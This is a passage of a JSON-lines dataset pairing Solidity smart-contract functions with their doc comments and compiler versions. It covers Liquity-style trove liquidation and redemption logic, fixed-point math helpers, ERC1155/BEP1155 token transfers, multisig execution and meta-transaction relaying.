GasPoolAddressChanged(_gasPoolAddress);\n emit CollSurplusPoolAddressChanged(_collSurplusPoolAddress);\n emit PriceFeedAddressChanged(_priceFeedAddress);\n emit LUSDTokenAddressChanged(_lusdTokenAddress);\n emit SortedTrovesAddressChanged(_sortedTrovesAddress);\n emit LQTYTokenAddressChanged(_lqtyTokenAddress);\n emit LQTYStakingAddressChanged(_lqtyStakingAddress);\n\n _renounceOwnership();\n }", "version": "0.6.11"} {"comment": "// --- Inner single liquidation functions ---\n// Liquidate one trove, in Normal Mode.", "function_code": "function _liquidateNormalMode(\n IActivePool _activePool,\n IDefaultPool _defaultPool,\n address _borrower,\n uint _LUSDInStabPool\n )\n internal\n returns (LiquidationValues memory singleLiquidation)\n {\n LocalVariables_InnerSingleLiquidateFunction memory vars;\n\n (singleLiquidation.entireTroveDebt,\n singleLiquidation.entireTroveColl,\n vars.pendingDebtReward,\n vars.pendingCollReward) = getEntireDebtAndColl(_borrower);\n\n _movePendingTroveRewardsToActivePool(_activePool, _defaultPool, vars.pendingDebtReward, vars.pendingCollReward);\n _removeStake(_borrower);\n\n singleLiquidation.collGasCompensation = _getCollGasCompensation(singleLiquidation.entireTroveColl);\n singleLiquidation.LUSDGasCompensation = Troves[_borrower].gasCompensation;\n uint collToLiquidate = singleLiquidation.entireTroveColl.sub(singleLiquidation.collGasCompensation);\n\n (singleLiquidation.debtToOffset,\n singleLiquidation.collToSendToSP,\n singleLiquidation.debtToRedistribute,\n singleLiquidation.collToRedistribute) = _getOffsetAndRedistributionVals(singleLiquidation.entireTroveDebt, collToLiquidate, _LUSDInStabPool);\n\n _closeTrove(_borrower, Status.closedByLiquidation);\n emit TroveLiquidated(_borrower, singleLiquidation.entireTroveDebt, singleLiquidation.entireTroveColl, TroveManagerOperation.liquidateInNormalMode);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.liquidateInNormalMode);\n return singleLiquidation;\n }", "version": "0.6.11"} {"comment": "/* In a full liquidation, returns the values for a trove's coll and debt to be offset, and coll and debt to be\n * redistributed to active troves.\n */", "function_code": "function _getOffsetAndRedistributionVals\n (\n uint _debt,\n uint _coll,\n uint _LUSDInStabPool\n )\n internal\n pure\n returns (uint debtToOffset, uint collToSendToSP, uint debtToRedistribute, uint collToRedistribute)\n {\n if (_LUSDInStabPool > 0) {\n /*\n * Offset as much debt & collateral as possible against the Stability Pool, and redistribute the remainder\n * between all active troves.\n *\n * If the trove's debt is larger than the deposited LUSD in the Stability Pool:\n *\n * - Offset an amount of the trove's debt equal to the LUSD in the Stability Pool\n * - Send a fraction of the trove's collateral to the Stability Pool, equal to the fraction of its offset debt\n *\n */\n debtToOffset = LiquityMath._min(_debt, _LUSDInStabPool);\n collToSendToSP = _coll.mul(debtToOffset).div(_debt);\n debtToRedistribute = _debt.sub(debtToOffset);\n collToRedistribute = _coll.sub(collToSendToSP);\n } else {\n debtToOffset = 0;\n collToSendToSP = 0;\n debtToRedistribute = _debt;\n collToRedistribute = _coll;\n }\n }", "version": "0.6.11"} {"comment": "/*\n * Get its offset coll/debt and ETH gas comp, and close the trove.\n */", "function_code": "function _getCappedOffsetVals\n (\n uint _entireTroveDebt,\n uint _entireTroveColl,\n uint _price,\n uint _gasCompensation\n )\n internal\n pure\n returns (LiquidationValues memory singleLiquidation)\n {\n singleLiquidation.entireTroveDebt = _entireTroveDebt;\n singleLiquidation.entireTroveColl = _entireTroveColl;\n uint collToOffset = _entireTroveDebt.mul(MCR).div(_price);\n\n singleLiquidation.collGasCompensation = _getCollGasCompensation(collToOffset);\n singleLiquidation.LUSDGasCompensation = _gasCompensation;\n\n singleLiquidation.debtToOffset = _entireTroveDebt;\n singleLiquidation.collToSendToSP = collToOffset.sub(singleLiquidation.collGasCompensation);\n singleLiquidation.collSurplus = _entireTroveColl.sub(collToOffset);\n singleLiquidation.debtToRedistribute = 0;\n singleLiquidation.collToRedistribute = 0;\n }", "version": "0.6.11"} {"comment": "/*\n * Liquidate a sequence of troves. Closes a maximum number of n under-collateralized Troves,\n * starting from the one with the lowest collateral ratio in the system, and moving upwards\n */", "function_code": "function liquidateTroves(uint _n) external override {\n ContractsCache memory contractsCache = ContractsCache(\n activePool,\n defaultPool,\n ILUSDToken(address(0)),\n ILQTYStaking(address(0)),\n sortedTroves,\n ICollSurplusPool(address(0)),\n address(0)\n );\n IStabilityPool stabilityPoolCached = stabilityPool;\n\n LocalVariables_OuterLiquidationFunction memory vars;\n\n LiquidationTotals memory totals;\n\n vars.price = priceFeed.fetchPrice();\n vars.LUSDInStabPool = stabilityPoolCached.getTotalLUSDDeposits();\n vars.recoveryModeAtStart = _checkRecoveryMode(vars.price);\n\n // Perform the appropriate liquidation sequence - tally the values, and obtain their totals\n if (vars.recoveryModeAtStart) {\n totals = _getTotalsFromLiquidateTrovesSequence_RecoveryMode(contractsCache, vars.price, vars.LUSDInStabPool, _n);\n } else { // if !vars.recoveryModeAtStart\n totals = _getTotalsFromLiquidateTrovesSequence_NormalMode(contractsCache.activePool, contractsCache.defaultPool, vars.price, vars.LUSDInStabPool, _n);\n }\n\n require(totals.totalDebtInSequence > 0, \"TroveManager: nothing to liquidate\");\n\n // Move liquidated ETH and LUSD to the appropriate pools\n stabilityPoolCached.offset(totals.totalDebtToOffset, totals.totalCollToSendToSP);\n _redistributeDebtAndColl(contractsCache.activePool, contractsCache.defaultPool, totals.totalDebtToRedistribute, totals.totalCollToRedistribute);\n if (totals.totalCollSurplus > 0) {\n contractsCache.activePool.sendETH(address(collSurplusPool), totals.totalCollSurplus);\n }\n\n // Update system snapshots\n _updateSystemSnapshots_excludeCollRemainder(contractsCache.activePool, totals.totalCollGasCompensation);\n\n vars.liquidatedDebt = totals.totalDebtInSequence;\n vars.liquidatedColl = totals.totalCollInSequence.sub(totals.totalCollGasCompensation).sub(totals.totalCollSurplus);\n emit Liquidation(vars.liquidatedDebt, vars.liquidatedColl, totals.totalCollGasCompensation, totals.totalLUSDGasCompensation);\n\n // Send gas compensation to caller\n _sendGasCompensation(contractsCache.activePool, msg.sender, totals.totalLUSDGasCompensation, totals.totalCollGasCompensation);\n }", "version": "0.6.11"} {"comment": "/*\n * Attempt to liquidate a custom list of troves provided by the caller.\n */", "function_code": "function batchLiquidateTroves(address[] memory _troveArray) public override {\n require(_troveArray.length != 0, \"TroveManager: Calldata address array must not be empty\");\n\n IActivePool activePoolCached = activePool;\n IDefaultPool defaultPoolCached = defaultPool;\n IStabilityPool stabilityPoolCached = stabilityPool;\n\n LocalVariables_OuterLiquidationFunction memory vars;\n LiquidationTotals memory totals;\n\n vars.price = priceFeed.fetchPrice();\n vars.LUSDInStabPool = stabilityPoolCached.getTotalLUSDDeposits();\n vars.recoveryModeAtStart = _checkRecoveryMode(vars.price);\n\n // Perform the appropriate liquidation sequence - tally values and obtain their totals.\n if (vars.recoveryModeAtStart) {\n totals = _getTotalFromBatchLiquidate_RecoveryMode(activePoolCached, defaultPoolCached, vars.price, vars.LUSDInStabPool, _troveArray);\n } else { // if !vars.recoveryModeAtStart\n totals = _getTotalsFromBatchLiquidate_NormalMode(activePoolCached, defaultPoolCached, vars.price, vars.LUSDInStabPool, _troveArray);\n }\n\n require(totals.totalDebtInSequence > 0, \"TroveManager: nothing to liquidate\");\n\n // Move liquidated ETH and LUSD to the appropriate pools\n stabilityPoolCached.offset(totals.totalDebtToOffset, totals.totalCollToSendToSP);\n _redistributeDebtAndColl(activePoolCached, defaultPoolCached, totals.totalDebtToRedistribute, totals.totalCollToRedistribute);\n if (totals.totalCollSurplus > 0) {\n activePoolCached.sendETH(address(collSurplusPool), totals.totalCollSurplus);\n }\n\n // Update system snapshots\n _updateSystemSnapshots_excludeCollRemainder(activePoolCached, totals.totalCollGasCompensation);\n\n vars.liquidatedDebt = totals.totalDebtInSequence;\n vars.liquidatedColl = totals.totalCollInSequence.sub(totals.totalCollGasCompensation).sub(totals.totalCollSurplus);\n emit Liquidation(vars.liquidatedDebt, vars.liquidatedColl, totals.totalCollGasCompensation, totals.totalLUSDGasCompensation);\n\n // Send gas compensation to caller\n _sendGasCompensation(activePoolCached, msg.sender, totals.totalLUSDGasCompensation, totals.totalCollGasCompensation);\n }", "version": "0.6.11"} {"comment": "// --- Liquidation helper functions ---", "function_code": "function _addLiquidationValuesToTotals(LiquidationTotals memory oldTotals, LiquidationValues memory singleLiquidation)\n internal pure returns(LiquidationTotals memory newTotals) {\n\n // Tally all the values with their respective running totals\n newTotals.totalCollGasCompensation = oldTotals.totalCollGasCompensation.add(singleLiquidation.collGasCompensation);\n newTotals.totalLUSDGasCompensation = oldTotals.totalLUSDGasCompensation.add(singleLiquidation.LUSDGasCompensation);\n newTotals.totalDebtInSequence = oldTotals.totalDebtInSequence.add(singleLiquidation.entireTroveDebt);\n newTotals.totalCollInSequence = oldTotals.totalCollInSequence.add(singleLiquidation.entireTroveColl);\n newTotals.totalDebtToOffset = oldTotals.totalDebtToOffset.add(singleLiquidation.debtToOffset);\n newTotals.totalCollToSendToSP = oldTotals.totalCollToSendToSP.add(singleLiquidation.collToSendToSP);\n newTotals.totalDebtToRedistribute = oldTotals.totalDebtToRedistribute.add(singleLiquidation.debtToRedistribute);\n newTotals.totalCollToRedistribute = oldTotals.totalCollToRedistribute.add(singleLiquidation.collToRedistribute);\n newTotals.totalCollSurplus = oldTotals.totalCollSurplus.add(singleLiquidation.collSurplus);\n\n return newTotals;\n }", "version": "0.6.11"} {"comment": "/*\n * Called when a full redemption occurs, and closes the trove.\n * The redeemer swaps (debt - liquidation reserve) LUSD for (debt - liquidation reserve) worth of ETH, so the LUSD liquidation reserve left corresponds to the remaining debt.\n * In order to close the trove, the LUSD liquidation reserve is burned, and the corresponding debt is removed from the active pool.\n * The debt recorded on the trove's struct is zero'd elswhere, in _closeTrove.\n * Any surplus ETH left in the trove, is sent to the Coll surplus pool, and can be later claimed by the borrower.\n */", "function_code": "function _redeemCloseTrove(ContractsCache memory _contractsCache, address _borrower, uint _LUSD, uint _ETH) internal {\n _contractsCache.lusdToken.burn(gasPoolAddress, _LUSD);\n // Update Active Pool LUSD, and send ETH to account\n _contractsCache.activePool.decreaseLUSDDebt(_LUSD);\n\n // send ETH from Active Pool to CollSurplus Pool\n _contractsCache.collSurplusPool.accountSurplus(_borrower, _ETH);\n _contractsCache.activePool.sendETH(address(_contractsCache.collSurplusPool), _ETH);\n }", "version": "0.6.11"} {"comment": "// Add the borrowers's coll and debt rewards earned from redistributions, to their Trove", "function_code": "function _applyPendingRewards(IActivePool _activePool, IDefaultPool _defaultPool, address _borrower) internal {\n if (hasPendingRewards(_borrower)) {\n _requireTroveIsActive(_borrower);\n\n // Compute pending rewards\n uint pendingETHReward = getPendingETHReward(_borrower);\n uint pendingLUSDDebtReward = getPendingLUSDDebtReward(_borrower);\n\n // Apply pending rewards to trove's state\n Troves[_borrower].coll = Troves[_borrower].coll.add(pendingETHReward);\n Troves[_borrower].debt = Troves[_borrower].debt.add(pendingLUSDDebtReward);\n\n _updateTroveRewardSnapshots(_borrower);\n\n // Transfer from DefaultPool to ActivePool\n _movePendingTroveRewardsToActivePool(_activePool, _defaultPool, pendingLUSDDebtReward, pendingETHReward);\n\n emit TroveUpdated(\n _borrower,\n Troves[_borrower].debt,\n Troves[_borrower].coll,\n Troves[_borrower].stake,\n TroveManagerOperation.applyPendingRewards\n );\n }\n }", "version": "0.6.11"} {"comment": "// Get the borrower's pending accumulated ETH reward, earned by their stake", "function_code": "function getPendingETHReward(address _borrower) public view override returns (uint) {\n uint snapshotETH = rewardSnapshots[_borrower].ETH;\n uint rewardPerUnitStaked = L_ETH.sub(snapshotETH);\n\n if ( rewardPerUnitStaked == 0 || Troves[_borrower].status != Status.active) { return 0; }\n\n uint stake = Troves[_borrower].stake;\n\n uint pendingETHReward = stake.mul(rewardPerUnitStaked).div(DECIMAL_PRECISION);\n\n return pendingETHReward;\n }", "version": "0.6.11"} {"comment": "// Get the borrower's pending accumulated LUSD reward, earned by their stake", "function_code": "function getPendingLUSDDebtReward(address _borrower) public view override returns (uint) {\n uint snapshotLUSDDebt = rewardSnapshots[_borrower].LUSDDebt;\n uint rewardPerUnitStaked = L_LUSDDebt.sub(snapshotLUSDDebt);\n\n if ( rewardPerUnitStaked == 0 || Troves[_borrower].status != Status.active) { return 0; }\n\n uint stake = Troves[_borrower].stake;\n\n uint pendingLUSDDebtReward = stake.mul(rewardPerUnitStaked).div(DECIMAL_PRECISION);\n\n return pendingLUSDDebtReward;\n }", "version": "0.6.11"} {"comment": "// Return the Troves entire debt and coll, including pending rewards from redistributions.", "function_code": "function getEntireDebtAndColl(\n address _borrower\n )\n public\n view\n override\n returns (uint debt, uint coll, uint pendingLUSDDebtReward, uint pendingETHReward)\n {\n debt = Troves[_borrower].debt;\n coll = Troves[_borrower].coll;\n\n pendingLUSDDebtReward = getPendingLUSDDebtReward(_borrower);\n pendingETHReward = getPendingETHReward(_borrower);\n\n debt = debt.add(pendingLUSDDebtReward);\n coll = coll.add(pendingETHReward);\n }", "version": "0.6.11"} {"comment": "// Calculate a new stake based on the snapshots of the totalStakes and totalCollateral taken at the last liquidation", "function_code": "function _computeNewStake(uint _coll) internal view returns (uint) {\n uint stake;\n if (totalCollateralSnapshot == 0) {\n stake = _coll;\n } else {\n /*\n * The following assert() holds true because:\n * - The system always contains >= 1 trove\n * - When we close or liquidate a trove, we redistribute the pending rewards, so if all troves were closed/liquidated,\n * rewards would\u2019ve been emptied and totalCollateralSnapshot would be zero too.\n */\n assert(totalStakesSnapshot > 0);\n stake = _coll.mul(totalStakesSnapshot).div(totalCollateralSnapshot);\n }\n return stake;\n }", "version": "0.6.11"} {"comment": "/*\n * Remove a Trove owner from the TroveOwners array, not preserving array order. Removing owner 'B' does the following:\n * [A B C D E] => [A E C D], and updates E's Trove struct to point to its new array index.\n */", "function_code": "function _removeTroveOwner(address _borrower, uint TroveOwnersArrayLength) internal {\n Status troveStatus = Troves[_borrower].status;\n // It\u2019s set in caller function `_closeTrove`\n assert(troveStatus != Status.nonExistent && troveStatus != Status.active);\n\n uint128 index = Troves[_borrower].arrayIndex;\n uint length = TroveOwnersArrayLength;\n uint idxLast = length.sub(1);\n\n assert(index <= idxLast);\n\n address addressToMove = TroveOwners[idxLast];\n\n TroveOwners[index] = addressToMove;\n Troves[addressToMove].arrayIndex = index;\n emit TroveIndexUpdated(addressToMove, index);\n\n TroveOwners.pop();\n }", "version": "0.6.11"} {"comment": "/*\n * This function has two impacts on the baseRate state variable:\n * 1) decays the baseRate based on time passed since last redemption or LUSD borrowing operation.\n * then,\n * 2) increases the baseRate based on the amount redeemed, as a proportion of total supply\n */", "function_code": "function _updateBaseRateFromRedemption(uint _ETHDrawn, uint _price, uint _totalLUSDSupply) internal returns (uint) {\n uint decayedBaseRate = _calcDecayedBaseRate();\n\n /* Convert the drawn ETH back to LUSD at face value rate (1 LUSD:1 USD), in order to get\n * the fraction of total supply that was redeemed at face value. */\n uint redeemedLUSDFraction = _ETHDrawn.mul(_price).div(_totalLUSDSupply);\n\n uint newBaseRate = decayedBaseRate.add(redeemedLUSDFraction.div(BETA));\n newBaseRate = LiquityMath._min(newBaseRate, DECIMAL_PRECISION); // cap baseRate at a maximum of 100%\n //assert(newBaseRate <= DECIMAL_PRECISION); // This is already enforced in the line above\n assert(newBaseRate > 0); // Base rate is always non-zero after redemption\n\n // Update the baseRate state variable\n baseRate = newBaseRate;\n emit BaseRateUpdated(newBaseRate);\n \n _updateLastFeeOpTime();\n\n return newBaseRate;\n }", "version": "0.6.11"} {"comment": "/**\n @notice find the integer part of log2(p/q)\n => find largest x s.t p >= q * 2^x\n => find largest x s.t 2^x <= p / q\n */", "function_code": "function log2Int(uint256 _p, uint256 _q) internal pure returns (uint256) {\n uint256 res = 0;\n uint256 remain = _p / _q;\n while (remain > 0) {\n res++;\n remain /= 2;\n }\n return res - 1;\n }", "version": "0.7.6"} {"comment": "/**\n @notice log2 for a number that it in [1,2)\n @dev _x is FP, return a FP\n @dev function is from Kyber. Long modified the condition to be (_x >= one) && (_x < two)\n to avoid the case where x = 2 may lead to incorrect result\n */", "function_code": "function log2ForSmallNumber(uint256 _x) internal pure returns (uint256) {\n uint256 res = 0;\n uint256 one = (uint256(1) << PRECISION_BITS);\n uint256 two = 2 * one;\n uint256 addition = one;\n\n require((_x >= one) && (_x < two), \"MATH_ERROR\");\n require(PRECISION_BITS < 125, \"MATH_ERROR\");\n\n for (uint256 i = PRECISION_BITS; i > 0; i--) {\n _x = (_x * _x) / one;\n addition = addition / 2;\n if (_x >= two) {\n _x = _x / 2;\n res += addition;\n }\n }\n\n return res;\n }", "version": "0.7.6"} {"comment": "/**\n @notice log2 of (p/q). returns result in FP form\n @dev function is from Kyber.\n @dev _p & _q is FP, return a FP\n */", "function_code": "function logBase2(uint256 _p, uint256 _q) internal pure returns (uint256) {\n uint256 n = 0;\n\n if (_p > _q) {\n n = log2Int(_p, _q);\n }\n\n require(n * RONE <= BIG_NUMBER, \"MATH_ERROR\");\n require(!checkMultOverflow(_p, RONE), \"MATH_ERROR\");\n require(!checkMultOverflow(n, RONE), \"MATH_ERROR\");\n require(!checkMultOverflow(uint256(1) << n, _q), \"MATH_ERROR\");\n\n uint256 y = (_p * RONE) / (_q * (uint256(1) << n));\n uint256 log2Small = log2ForSmallNumber(y);\n\n assert(log2Small <= BIG_NUMBER);\n\n return n * RONE + log2Small;\n }", "version": "0.7.6"} {"comment": "/**\n @notice calculate ln(p/q). returned result >= 0\n @dev function is from Kyber.\n @dev _p & _q is FP, return a FP\n */", "function_code": "function ln(uint256 p, uint256 q) internal pure returns (uint256) {\n uint256 ln2Numerator = 6931471805599453094172;\n uint256 ln2Denomerator = 10000000000000000000000;\n\n uint256 log2x = logBase2(p, q);\n\n require(!checkMultOverflow(ln2Numerator, log2x), \"MATH_ERROR\");\n\n return (ln2Numerator * log2x) / ln2Denomerator;\n }", "version": "0.7.6"} {"comment": "/**\n @notice return e^exp in FP form\n @dev estimation by formula at http://pages.mtu.edu/~shene/COURSES/cs201/NOTES/chap04/exp.html\n the function is based on exp function of:\n https://github.com/NovakDistributed/macroverse/blob/master/contracts/RealMath.sol\n @dev the function is expected to converge quite fast, after about 20 iteration\n @dev exp is a FP, return a FP\n */", "function_code": "function rpowe(uint256 exp) internal pure returns (uint256) {\n uint256 res = 0;\n\n uint256 curTerm = RONE;\n\n for (uint256 n = 0; ; n++) {\n res += curTerm;\n curTerm = rmul(curTerm, rdiv(exp, toFP(n + 1)));\n if (curTerm == 0) {\n break;\n }\n if (n == 500) {\n /*\n testing shows that in the most extreme case, it will take 430 turns to converge.\n however, it's expected that the numbers will not exceed 2^120 in normal situation\n the most extreme case is rpow((1<<256)-1,(1<<40)-1) (equal to rpow((2^256-1)/2^40,0.99..9))\n */\n revert(\"RPOWE_SLOW_CONVERGE\");\n }\n }\n\n return res;\n }", "version": "0.7.6"} {"comment": "/**\n @notice return base^exp with base in FP form and exp in Int\n @dev this function use a technique called: exponentiating by squaring\n complexity O(log(q))\n @dev function is from Kyber.\n @dev base is a FP, exp is an Int, return a FP\n */", "function_code": "function rpowi(uint256 base, uint256 exp) internal pure returns (uint256) {\n uint256 res = exp % 2 != 0 ? base : RONE;\n\n for (exp /= 2; exp != 0; exp /= 2) {\n base = rmul(base, base);\n\n if (exp % 2 != 0) {\n res = rmul(res, base);\n }\n }\n return res;\n }", "version": "0.7.6"} {"comment": "/**\n @dev y is an Int, returns an Int\n @dev babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)\n @dev from Uniswap\n */", "function_code": "function sqrt(uint256 y) internal pure returns (uint256 z) {\n if (y > 3) {\n z = y;\n uint256 x = y / 2 + 1;\n while (x < z) {\n z = x;\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @dev update the balance of a type provided in _binBalances\n * @param _binBalances Uint256 containing the balances of objects\n * @param _index Index of the object in the provided bin\n * @param _amount Value to update the type balance\n * @param _operation Which operation to conduct :\n * Operations.REPLACE : Replace type balance with _amount\n * Operations.ADD : ADD _amount to type balance\n * Operations.SUB : Substract _amount from type balance\n */", "function_code": "function updateTokenBalance(\n uint256 _binBalances,\n uint256 _index,\n uint256 _amount,\n Operations _operation) internal pure returns (uint256 newBinBalance)\n {\n uint256 objectBalance = 0;\n if (_operation == Operations.ADD) {\n objectBalance = getValueInBin(_binBalances, _index);\n newBinBalance = writeValueInBin(_binBalances, _index, objectBalance.add(_amount));\n } else if (_operation == Operations.SUB) {\n objectBalance = getValueInBin(_binBalances, _index);\n newBinBalance = writeValueInBin(_binBalances, _index, objectBalance.sub(_amount));\n } else if (_operation == Operations.REPLACE) {\n newBinBalance = writeValueInBin(_binBalances, _index, _amount);\n } else {\n revert(\"Invalid operation\"); // Bad operation\n }\n\n return newBinBalance;\n }", "version": "0.5.2"} {"comment": "/*\n * @dev return value in _binValue at position _index\n * @param _binValue uint256 containing the balances of TYPES_PER_UINT256 types\n * @param _index index at which to retrieve value\n * @return Value at given _index in _bin\n */", "function_code": "function getValueInBin(uint256 _binValue, uint256 _index) internal pure returns (uint256) {\n\n // Mask to retrieve data for a given binData\n uint256 mask = (uint256(1) << TYPES_BITS_SIZE) - 1;\n\n // Shift amount\n uint256 rightShift = 256 - TYPES_BITS_SIZE * (_index + 1);\n return (_binValue >> rightShift) & mask;\n }", "version": "0.5.2"} {"comment": "// Make public for testing", "function_code": "function recover(address token, uint256[] memory auctionData, uint256[] memory ids, uint256[] memory amounts, bytes memory signature) internal view returns (address) {\n return SigUtil.recover(\n // This recreates the message that was signed on the client.\n keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator(), hashAuction(token, auctionData, ids, amounts))), \n signature\n );\n }", "version": "0.5.2"} {"comment": "// function sendERC777Tokens(address _from, address _to, ERC777 _tokenContract, uint256 _amount, bytes calldata _data) external {\n// require(msg.sender == address(this), \"can only be called by own\");\n// _tokenContract.operatorSend(_from, _to, _amount, _data);\n// }\n// TODO safe /unsafe version\n// function sendERC1155Tokens(address _from, address _to, ERC1155 _tokenContract, uint256 _tokenType, uint256 _amount, bytes calldata _data) external {\n// require(msg.sender == address(this), \"can only be called by own\");\n// _tokenContract.transfer...(_from, _to, _amount, _data);\n// }\n// TODO safe /unsafe version\n// function sendERC721Tokens(address _from, address _to, ERC721 _tokenContract, uint256 _tokenType, bytes calldata _data) external {\n// require(msg.sender == address(this), \"can only be called by own\");\n// _tokenContract.transferFrom(_from, _to, _amount, _data); \n// }", "function_code": "function executeERC20MetaTx(\n address _from,\n address _to, \n address _gasToken,\n bytes calldata _data,\n uint256[4] calldata params, // _nonce, _gasPrice, _txGas, _tokenGasPrice\n address _relayer,\n bytes calldata _sig,\n address _tokenReceiver,\n bool signedOnBehalf\n ) external returns (bool, bytes memory) {\n require(msg.sender != address(this), \"can only be called externaly\");\n uint256 initialGas = gasleft();\n ensureParametersValidity(_from, _gasToken, params, _relayer);\n ensureCorrectSigner(_from, _to, _gasToken, _data, params, _relayer, _sig, ERC20METATRANSACTION_TYPEHASH, signedOnBehalf);\n return performERC20MetaTx(_from, _to, _gasToken, _data, params, initialGas, _tokenReceiver);\n }", "version": "0.5.2"} {"comment": "//override to block from emitting Transfer when not mErc20compatible", "function_code": "function _send(\n address _operator,\n address _from,\n address _to,\n uint256 _amount,\n bytes memory _data,\n bytes memory _operatorData,\n bool _preventLocking\n )\n internal\n {\n callSender(_operator, _from, _to, _amount, _data, _operatorData);\n\n require(_to != address(0), \"Cannot send to 0x0\");\n require(mBalances[_from] >= _amount, \"Not enough funds\");\n\n mBalances[_from] = mBalances[_from] -= _amount;\n mBalances[_to] = mBalances[_to] += _amount;\n\n callRecipient(_operator, _from, _to, _amount, _data, _operatorData, _preventLocking);\n\n emit Sent(_operator, _from, _to, _amount, _data, _operatorData);\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev See {IBEP1155MetadataURI-uri}.\r\n *\r\n * This implementation returns the same URI for *all* token types. It relies\r\n * on the token type ID substitution mechanism\r\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\r\n *\r\n * Clients calling this function must replace the `\\{id\\}` substring with the\r\n * actual token type ID.\r\n */", "function_code": "function uri(uint256 tokenId)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (string memory ipfsmetadata)\r\n {\r\n // return _uri;\r\n Metadata memory date = token_id[tokenId];\r\n ipfsmetadata = date.ipfsmetadata;\r\n // string memory ipfsmetadata = getmetadata(tokenId);\r\n\r\n return ipfsmetadata;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev See {IBEP1155-safeTransferFrom}.\r\n */", "function_code": "function safeTransferFrom(\r\n address from,\r\n address to,\r\n uint256 id,\r\n uint256 amount,\r\n bytes memory data\r\n ) public virtual override {\r\n require(\r\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\r\n \"BEP1155: caller is not owner nor approved\"\r\n );\r\n _safeTransferFrom(from, to, id, amount, data);\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev See {IBEP1155-safeBatchTransferFrom}.\r\n */", "function_code": "function safeBatchTransferFrom(\r\n address from,\r\n address to,\r\n uint256[] memory ids,\r\n uint256[] memory amounts,\r\n bytes memory data\r\n ) public virtual override {\r\n require(\r\n from == _msgSender() || isApprovedForAll(from, address(this)),\r\n \"BEP1155: transfer caller is not owner nor approved\"\r\n );\r\n _safeBatchTransferFrom(from, to, ids, amounts, data);\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev xref:ROOT:BEP1155.adoc#batch-operations[Batched] version of {_burn}.\r\n *\r\n * Requirements:\r\n *\r\n * - `ids` and `amounts` must have the same length.\r\n */", "function_code": "function _burnBatch(\r\n address account,\r\n uint256[] memory ids,\r\n uint256[] memory amounts\r\n ) internal virtual {\r\n require(account != address(0), \"BEP1155: burn from the zero address\");\r\n require(\r\n ids.length == amounts.length,\r\n \"BEP1155: ids and amounts length mismatch\"\r\n );\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \"\");\r\n\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n uint256 id = ids[i];\r\n uint256 amount = amounts[i];\r\n\r\n uint256 accountBalance = _balances[id][account];\r\n require(\r\n accountBalance >= amount,\r\n \"BEP1155: burn amount exceeds balance\"\r\n );\r\n unchecked {\r\n _balances[id][account] = accountBalance - amount;\r\n }\r\n }\r\n\r\n emit TransferBatch(operator, account, address(0), ids, amounts);\r\n }", "version": "0.8.10"} {"comment": "// BNB TRANSFER PURCHASE", "function_code": "function saleToken(\r\n address payable from,\r\n uint256 tokenId,\r\n uint256 amount,\r\n uint256 nooftoken\r\n ) public payable {\r\n require(\r\n amount == order_place[from][tokenId].price.mul(nooftoken),\r\n \"Invalid Balance\"\r\n );\r\n _saleToken(from, tokenId, amount, \"BNB\");\r\n _setApprovalForAll(from, msg.sender, true);\r\n saleTokenTransfer(from, tokenId, nooftoken);\r\n }", "version": "0.8.10"} {"comment": "// Note that address recovered from signatures must be strictly increasing, in order to prevent duplicates", "function_code": "function execute(uint8[] memory sigV, bytes32[] memory sigR, bytes32[] memory sigS, address destination, uint value, bytes memory data, address executor, uint gasLimit) public {\n require(sigR.length == threshold);\n require(sigR.length == sigS.length && sigR.length == sigV.length);\n require(executor == msg.sender || executor == address(0));\n\n bytes32 txInputHash = keccak256(abi.encodePacked(\n address(this),\n TXTYPE_HASH,\n SALT,\n destination,\n value,\n keccak256(data),\n nonce,\n executor,\n gasLimit\n ));\n bytes32 totalHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", txInputHash));\n\n address lastAdd = address(0); // cannot have address(0) as an owner\n for (uint i = 0; i < threshold; i++) {\n address recovered = ecrecover(totalHash, sigV[i], sigR[i], sigS[i]);\n require(recovered > lastAdd && isOwner[recovered]);\n lastAdd = recovered;\n }\n\n // If we make it here all signatures are accounted for.\n // The address.call() syntax is no longer recommended, see:\n // https://github.com/ethereum/solidity/issues/2884\n nonce = nonce + 1;\n bool success = false;\n assembly { success := call(gasLimit, destination, value, add(data, 0x20), mload(data), 0, 0) }\n require(success);\n }", "version": "0.5.2"} {"comment": "// Process a transfer internally.", "function_code": "function xfer(address _from, address _to, uint _amount)\r\n internal\r\n returns (bool)\r\n {\r\n require(_amount <= balances[_from]);\r\n\r\n Transfer(_from, _to, _amount);\r\n\r\n // avoid wasting gas on 0 token transfers\r\n if(_amount == 0) return true;\r\n\r\n balances[_from] = balances[_from].sub(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// Calculates the sale and wholesale portion of tokens for a given value\n// of wei at the time of calling.", "function_code": "function ethToTokens(uint _wei)\r\n public\r\n view\r\n returns (uint allTokens_, uint wholesaleTokens_)\r\n {\r\n // Get wholesale portion of ether and tokens\r\n uint wsValueLeft = wholeSaleValueLeft();\r\n uint wholesaleSpend =\r\n fundFailed() ? 0 :\r\n icoSucceeded ? 0 :\r\n now < START_DATE ? 0 :\r\n now > END_DATE ? 0 :\r\n // No wholesale purchse\r\n _wei < WHOLESALE_THRESHOLD ? 0 :\r\n // Total wholesale purchase\r\n _wei < wsValueLeft ? _wei :\r\n // over funded for remaining wholesale tokens\r\n wsValueLeft;\r\n\r\n wholesaleTokens_ = wholesaleSpend\r\n .mul(RATE_WHOLESALE)\r\n .mul(TOKEN)\r\n .div(1 ether);\r\n\r\n // Remaining wei used to purchase retail tokens\r\n _wei = _wei.sub(wholesaleSpend);\r\n\r\n // Get retail rate\r\n uint saleRate = currentRate();\r\n\r\n allTokens_ = _wei\r\n 